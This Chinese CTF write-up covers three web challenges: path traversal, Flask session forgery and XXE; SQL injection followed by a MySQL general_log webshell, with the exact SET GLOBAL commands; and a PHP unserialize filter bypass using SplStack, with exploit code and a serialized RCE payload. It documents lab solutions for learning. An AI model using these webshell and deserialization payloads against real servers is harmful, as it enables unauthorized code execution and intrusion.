CarelessPy
一進來就是個任意檔案下載功能,不過做了些限制,這題從頭到尾都在罵雜魚,,,(雖然我確實是(bushi)
查看頁面源代碼,給了個/eval /login 兩個路由,/eval是個目錄遍歷,/login嘗試登錄無果,有session,應該需要偽造session,利用/eval查看app下的pyc檔案,然后down下載

在線找個pyc反編譯,成功拿到密鑰

直接flask-session-manager偽造session,登錄成功后拿到/th1s_1s_The_L4st_one 這個路由,訪問查看,xml的頁面,猜想存在xxe漏洞,抓個包分析分析,直接payload打,注意得加個Content-Type: text/xml 否則打不通

Confronting robot
這題給我ex壞了,第一個頁面,myname引數存在注入,sqlmap一把梭

訪問/sEcR@[email protected] 測驗發現這是個模擬sql命令列,可以執行sql命令,查看頁面源代碼發現game.php ,訪問查看,猜拳10局,贏了就給flag,結果game表里沒有資料,猜測是得我們插入資料來確保我們穩贏,查看當前用戶是secret@localhost ,查看一下權限show grants for secret@localhsot,一看不知道一看嚇一跳,基本沒有權限,有個查詢權限和創建用戶權限,這還寫個屁資料,這里折磨了一整天,想了一堆辦法終無果,最終查看大佬方法,開啟日志查詢,寫馬getshell,額賊,佩服能想到的,先開啟全域日志查詢,然后設定當前檔案為日志存盤檔案,這樣只需select '',然后 蟻劍連接即可,記得把你的火絨關掉,要不然給攔截了
set global general_log='on'
set global general_log_file='/var/www/html/sEcR@[email protected]'
查看game.php拿到flag

聽說還有修改用戶的玩法,有無大佬蕉蕉
4號的羅納爾多
php審計,代碼如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}
很經典不能O,a開頭,那我們就C開頭,不能有ArrayObject,嘖,之前ctfshow學到的沒用了,最終發現SplStack這個類也能用,然后就是繞__destruct,也就是只能使用[A-Za-z_\(\)],最后帶個; 怎么把givemegirlfriend! 除掉是個問題,__halt_compiler(); 可以中斷編譯器的執行,不讓eval決議后面的就行了,這里沒法用引號,所以得構造無參rce,exp如下:
<?php
class evil
{
public $cmd="eval(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b);
// 注意得修改成符合C的格式,具體可以自己查資料
// C:8:"SplStack":84:{i:0;:O:4:"evil":1:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";};}
復現復現著環境沒了,日,,,,,最終在本地打通,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/554908.html
標籤:其他
上一篇:Playwright 和 Selenium 的區別是什么?
下一篇:返回列表
